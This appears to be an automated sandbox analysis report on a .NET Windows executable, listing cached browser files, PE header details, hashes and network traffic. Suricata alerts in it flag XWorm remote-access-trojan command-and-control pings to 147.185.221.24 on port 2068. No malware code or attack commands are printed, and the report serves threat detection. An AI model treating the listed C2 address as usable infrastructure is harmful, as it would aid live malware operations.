Preview:	.PNG........IHDR...<...^......> .....gAMA......a.....sRGB.........PLTELiq.._..d..d..d..d.............c..d..c..b..d..d..d..e..d..d..d..c..d..d..;.....c..d..d....d..c..c..c.....c..d...........b..e..d..d..d........e..d..e..b..d.....d...Q+...cQ+.P-.P+...d.....d.....d..dP+......dP+..........Q+...d..c..d......Q+...dQ+.Q......dR'.s.lL.......Q+...d..d..d......Q+...d....Q+...dQ/.............P+...dR+.u...b.............d...........q..c.....b........d...Q+.....!!......U[n................uC..............c.........r>......A6#X3.................Q...H<&...R+.....b...>4".......X7.?-.x@(#.....x.4-.sV.t.zc7...eE......a..]<..H.'#.S..N.[..K..........-&........\.J1.zEkW2.....H...d;..........UQC)^M...J..L.........Y..^.......^.I.O..E.....o<.l?..=............o.X[asty.....Z..........Mdh}....w.STN......WR9...e......SG...........\|tRNS..@......4.............H..>...U.xYqz.e.Fr.i..fV9"....M.3~....r....T....^....a.F.Z....C.D..B...x.o..~...;.....+..A.............IDATx....K.y...9e.

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (820), with no line terminators
Category:	dropped
Size (bytes):	820
Entropy (8bit):	5.178314558399231
Encrypted:	false
SSDEEP:	12:9rgs0ZD/uR1+qUHODt+uFdlcSNyrmGb4Xc4tjLbqV8UJyj/c/GHtCHJFGypQDRWl:9cZZDWRIqlKSNyqGbh4VbjUkCHJQrRWl
MD5:	EF973166C82215BCF2A9FB564689A881
SHA1:	536234BEB9559BE0CDD9676CC54C4E4499405B47
SHA-256:	32E117E84A466553E4E3419060069E9526077A922EF192DB153780345E151021
SHA-512:	C7EE82A225687034516FE215B1B84B05DB5613731FD6B8008C34FAF1F24A460CC4480EFDD2CD1839C06C5B71FECE40AAC962955BB20DE5BA808FB960A3910028
Malicious:	false
Preview:	(()=>{var e,t,n,o,c,s;o=function(e,t){for(var n=t.filter((function(t){return s(t,e.domains)&&!c(t)})),o=0;o<n.length;o++){var a="WT.mc_id="+e.event+"-"+e.channel+"-"+e.alias;n[o].search?n[o].search=n[o].search+"&"+a:n[o].search="?"+a}},c=function(e){return/([\?\&]WT\.mc_id=)\|([\?]utm_source=)\|([\?]cid=)\|([\?]icid=)/i.test(e.search)},s=function(e,t){return t.some((function(t){return t instanceof RegExp?t.test(e.hostname):"string"==typeof t&&t===e.hostname}))},t=[/^(devblogs\|azure\|developer\|devops\|learn\|techcommunity\|visualstudio)\.microsoft\.com$/,/(.\.)?msdn\.com$/,/(.\.)?visualstudio\.com$/,"www.microsoftevents.com",/(.*\.)?github\.com$/],n=(n=(e={event:"dotnet",channel:"35129",alias:"website"}).domains)\|\|Array.isArray(n)?n.concat(t):t,e.domains=n,o(e,[].slice.call(document.getElementsByTagName("a")))})();

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171486
Entropy (8bit):	5.043877429718187
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCx1:jlZAW9kJeqg
MD5:	B7AF9FB8EB3F12D3BAA37641537BEDC2
SHA1:	A3FBB622FD4D19CDB371F0B71146DD9F2605D8A4
SHA-256:	928ACFBA36CCD911340D2753DB52423F0C7F6FEAA72824E2A1EF6F5667ED4A71
SHA-512:	1023C4D81F68C73E247850F17BF048615DDABB69ACF2429644BDAF8DC2A95930F7A29CEAE6FBD985E1162897483A860C8248557CDA2F1F3D3FF0589158625A49
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/1b-9d8ed9/c9-be0100/a6-e969ef/43-9f2e7c/82-8b5456/a0-5d3913/43-5a5ab8/ca-ae3ce4?ver=2.0&_cf=02242021_3231
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1626)
Category:	dropped
Size (bytes):	9404
Entropy (8bit):	5.243426803454784
Encrypted:	false
SSDEEP:	192:u8Z537OSsPyWKRwek9EGjMbiypOIPtlomll7:ug537OSsPyn+jMbiG3
MD5:	A0BBCA44D6EA98453E7B1140AC61F8A0
SHA1:	8603631CEC97CA04485B19CB148D9B6DCA8AD4AA
SHA-256:	ACAE85440B52DBBAB75F4D40FCB721ED434A819C4AB154A01CE63A9046534A37
SHA-512:	2C334D3CA590137646256E2FDE47272EC26828280814C75ED7313F439390BAFB98D8B43119951DA46A9BC51455FAC22E3B414B72BDA8870034194F88DD66B5FD
Malicious:	false
Preview:	(function(){var k=function(b,a){return function(){return b.apply(a,arguments)}};var g=window.parent;var h=g.document;var l=null;var m=window.usabilla_live.onEvent;var n=function(){function b(a,c,d,b,f){this.obj=a;this.property=c;this.off=d;this.on=b;this.defaultSpeed=f;this.doAnimation=k(this.doAnimation,this);this.callback=this.timer=this.goal=null}b.prototype.start=function(a,c){null==a&&(a=null);null==c&&(c=this.defaultSpeed);return this.animate(c,a,this.off,this.on)};b.prototype.stop=function(a,.c){null==a&&(a=null);null==c&&(c=this.defaultSpeed);return this.animate(c,a,this.on,this.off)};b.prototype.animate=function(a,c,d,b){"function"===typeof this.callback&&this.callback(!1);this.callback=c;this.startVal=c=parseInt(this.obj.style[this.property])\|\|d;this.stopVal=b;this.speed=a*(1-(c-d)/(b-d));this.startTime=new Date;if(null===this.timer)return this.timer=setInterval(this.doAnimation,20)};b.prototype.doAnimation=function(){var a=Math.min(1,(new Date-this.startTime)/this.speed);a=(

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3113)
Category:	dropped
Size (bytes):	3187
Entropy (8bit):	5.2293353413807315
Encrypted:	false
SSDEEP:	48:QNQC7HIsY/7yEGF8nbEsvE4PySU9ZYp6iwAwLMj+oQFBreZIVvZ9GSMv+kQ5dreW:vCDIg36zIYShXreyVvmmVPreIVvp
MD5:	5EB247CBCBF666E2517E5F1256B52B5C
SHA1:	D74454D4CBA8F1C1AA8270AB092111EC63E69594
SHA-256:	E02F294B19EF5B7A0421AB25A055738F6F4BAABAFFB3030132FF08121A338459
SHA-512:	B3F7889850DA89185FF6E48675D0E52F3550561C2B4EC6502A67FC06451846A51E47F4D16AE15F351998CF2592292C1F4FB455DCC9756A3B19A79E281AFA24F4
Malicious:	false
Preview:	/! For license information please see theme-toggle.min.js.LICENSE.txt /.(()=>{"use strict";function e(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)e[n]=r[n]}return e}var t,r,n,o,c,a,i,m,d,s,u=function t(r,n){function o(t,o,c){if("undefined"!=typeof document){"number"==typeof(c=e({},n,c)).expires&&(c.expires=new Date(Date.now()+864e5*c.expires)),c.expires&&(c.expires=c.expires.toUTCString()),t=encodeURIComponent(t).replace(/%(2[346B]\|5E\|60\|7C)/g,decodeURIComponent).replace(/[()]/g,escape);var a="";for(var i in c)c[i]&&(a+="; "+i,!0!==c[i]&&(a+="="+c[i].split(";")[0]));return document.cookie=t+"="+r.write(o,t)+a}}return Object.create({set:o,get:function(e){if("undefined"!=typeof document&&(!arguments.length\|\|e)){for(var t=document.cookie?document.cookie.split("; "):[],n={},o=0;o<t.length;o++){var c=t[o].split("="),a=c.slice(1).join("=");try{var i=decodeURIComponent(c[0]);if(n[i]=r.read(a,i),e===i)break}catch(e){}}return e?n[e]:n}},remove:function(t,r){o(t,""

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.980600611317713
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	CZxDiTktSY.exe
File size:	11'770'880 bytes
MD5:	5d16971f4e0d6e5f99d18d28672cc621
SHA1:	bcd7f4fe26313fe3ced6ced1f5952d6429fac416
SHA256:	fc16219abe3f5272052e7238be66431e1d1b3e7d2faf996c701ce576cce74290
SHA512:	fae8a171467bb1e33f4920f93a9defdc5743d478d5c90446b43132ea1d45aaa7edf1ebbfce4b8ed27a8a70c9197492a4dc7694cf2a411a46f563b28dcd5668c9
SSDEEP:	196608:ISHBLJKbIWxA63vYjVQ4SvrOXvH0RG1jT7ub1EBKnQtD794BYb:FBVKNAGvcmTWUc1jT7FKnyJ
TLSH:	AFC6ACD9FEBAD792B7657C7BAF7C5290493EB1DFBB0911C8B455668C96420C0C230AC2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....@g................................. ........@.. ....................................@................................

File Icon


Icon Hash:	0d7dfdd7576e712f

Static PE Info

General

Entrypoint:	0xf1a8be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6740BEA0 [Fri Nov 22 17:25:52 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb1a86c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb1c000	0x20d88	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb3e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb188c4	0xb18a00	e20c28fdd076a3897ef3043577e53f6e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb1c000	0x20d88	0x20e00	030588cb71a5e5ab7af26bc1f6d86461	False	0.41319361929657794	data	6.14676972421468	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb3e000	0xc	0x200	e6a376748ffb571e94bca38f6e79d3f1	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb1c250	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 5666 x 5666 px/m	0.7721631205673759
RT_ICON	0xb1c6b8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 5666 x 5666 px/m	0.6061475409836066
RT_ICON	0xb1d040	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 5666 x 5666 px/m	0.5154784240150094
RT_ICON	0xb1e0e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 5666 x 5666 px/m	0.3700207468879668
RT_ICON	0xb20690	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 5666 x 5666 px/m	0.2892064241851677
RT_ICON	0xb248b8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 5666 x 5666 px/m	0.16860877794865728
RT_ICON	0xb350e0	0x77e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9980451568761607
RT_GROUP_ICON	0xb3c8c8	0x68	data	0.7307692307692307
RT_VERSION	0xb3c930	0x26c	data	0.4629032258064516
RT_MANIFEST	0xb3cb9c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T21:11:32.059966+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49741	147.185.221.24	2068	TCP
2024-11-23T21:12:20.578110+0100	2853193	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49816	147.185.221.24	2068	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 21:11:07.110105991 CET	49675	443	192.168.2.4	173.222.162.32
Nov 23, 2024 21:11:11.391896963 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:11.391936064 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:11.393217087 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:11.394922018 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:11.394941092 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:13.032572985 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:13.033164978 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:13.033229113 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:13.034646988 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:13.034725904 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:13.036765099 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:13.036892891 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:13.037446022 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:13.037462950 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:13.080533981 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:13.660171032 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:13.660254955 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:13.660875082 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:13.672905922 CET	49733	443	192.168.2.4	2.23.205.167
Nov 23, 2024 21:11:13.672966957 CET	443	49733	2.23.205.167	192.168.2.4
Nov 23, 2024 21:11:14.507776022 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:14.507822037 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:14.507932901 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:14.508584023 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:14.508599997 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:15.803059101 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:15.803100109 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:15.803230047 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:15.803435087 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:15.803448915 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:16.332298040 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:16.332345963 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:16.332426071 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:16.341794014 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:16.341805935 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:16.364500046 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:16.367335081 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:16.367351055 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:16.368467093 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:16.368526936 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:16.369577885 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:16.369628906 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:16.369735003 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:16.369749069 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:16.416230917 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:16.850500107 CET	49741	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:11:16.971585989 CET	2068	49741	147.185.221.24	192.168.2.4
Nov 23, 2024 21:11:16.974155903 CET	49741	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:11:17.135106087 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:17.135714054 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:17.135734081 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:17.135771036 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:17.135783911 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:17.135829926 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:17.138331890 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:17.138376951 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:17.138448000 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:17.138730049 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:17.138742924 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:17.489708900 CET	49741	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:11:17.562819958 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:17.563256025 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:17.563288927 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:17.564738989 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:17.564802885 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:17.567306995 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:17.567435026 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:17.612093925 CET	2068	49741	147.185.221.24	192.168.2.4
Nov 23, 2024 21:11:17.616920948 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:17.616950035 CET	443	49739	142.250.181.100	192.168.2.4
Nov 23, 2024 21:11:17.671405077 CET	49739	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:11:17.752712965 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:17.752799034 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:17.756629944 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:17.756640911 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:17.756891012 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:17.811687946 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:17.813844919 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:17.859340906 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:18.268964052 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:18.269036055 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:18.269082069 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:18.269229889 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:18.269246101 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:18.269258976 CET	49740	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:18.269263983 CET	443	49740	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:18.303961039 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:18.304019928 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:18.304090023 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:18.304389000 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:18.304413080 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:19.014580011 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.014858961 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.014873028 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.015223026 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.015877962 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.015953064 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.018146992 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.059375048 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.749099016 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:19.749186039 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:19.753055096 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:19.753076077 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:19.753324032 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:19.755105019 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:19.795332909 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:19.833947897 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.834032059 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.834300995 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.835623026 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.835640907 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.835649967 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.835850954 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.836765051 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.836816072 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:19.836867094 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.837187052 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:19.837198973 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:20.068887949 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:20.068958998 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:20.069031000 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:20.070188046 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:20.070199966 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:20.265609026 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:20.265688896 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:20.265750885 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:20.268232107 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:20.268266916 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:20.268285036 CET	49743	443	192.168.2.4	2.23.161.164
Nov 23, 2024 21:11:20.268292904 CET	443	49743	2.23.161.164	192.168.2.4
Nov 23, 2024 21:11:21.627059937 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:21.645895958 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:21.645930052 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:21.646409988 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:21.683635950 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:21.684016943 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:21.684425116 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:21.727339029 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:21.865621090 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:21.865699053 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:21.870287895 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:21.870309114 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:21.870620966 CET	443	49745	172.202.163.200	192.168.2.4
Nov 23, 2024 21:11:21.921117067 CET	49745	443	192.168.2.4	172.202.163.200
Nov 23, 2024 21:11:22.458065033 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:22.458141088 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:22.458163977 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:22.458204031 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:22.458210945 CET	49744	443	192.168.2.4	13.107.246.63
